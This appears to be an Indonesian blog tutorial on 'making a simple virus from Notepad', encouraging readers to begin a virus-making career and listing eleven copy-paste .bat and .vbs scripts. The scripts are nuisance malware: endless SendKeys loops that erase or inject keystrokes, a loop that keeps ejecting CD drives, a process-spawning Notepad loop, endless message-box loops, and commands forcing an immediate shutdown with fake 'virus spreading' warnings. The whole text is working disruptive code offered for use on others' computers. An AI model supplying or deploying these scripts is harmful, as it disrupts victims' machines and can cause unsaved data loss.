membuat virus sederhana dari notepad

Buat sobatyang ingin memulai karirnya dalam bidang virus mem virus mungkin ini bisa menjadi salah satu sarana belajar untuk membuat virus , oke Langsung Coba aja Gan
Pertama-tama buka text editor favorit anda , kalo gak punya bisa pake notepad , setelah itu copy paste scrip di bawah ini kemudian save as type pilih All Files kemudian simpan file dengan format dengan fomat .bat atau .vbs misalnya virus.bat atau virus.vbs


=============================================
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

2. Caps Lock

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

3. CD Rom gila

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

4. Keyboard jadi rusak

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop

5. Ngaco

@ECHO off
:Begin
msg * -WARNING-
msg * Sorry PC lo kaya'y ngaco....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN

6. Notepad

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

7. (bingung beri judul apa)

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"

8. Pesan lambat

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Y"
WScript.Sleep 500
WshShell.SendKeys "O "
WScript.Sleep 500
WshShell.SendKeys ", U"
WScript.Sleep 500
WshShell.SendKeys "D i"
WScript.Sleep 500
WshShell.SendKeys "e "
WScript.Sleep 500
WshShell.SendKeys "HACK"
WScript.Sleep 500
WshShell.SendKeys "B "
WScript.Sleep 500
WshShell.SendKeys "u "
WScript.Sleep 500
WshShell.SendKeys "G "
WScript.Sleep 500
WshShell.SendKeys "!@#$%^&*()_+_)(*&^%$#@#$%^&*()"
WScript.Sleep 500
WshShell.SendKeys " M"
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "S !!! "

9. Shutdown
@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"

10. tombol truss

Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

11. (perhatian virus ini jangan skali2 d coba)

@echo off
msg * YouDie Tralalala Virus Menyebar !!! @#$%^&*()
shutdown -c "Error! Virus Menyebar Keseluruh System!" -s -t 0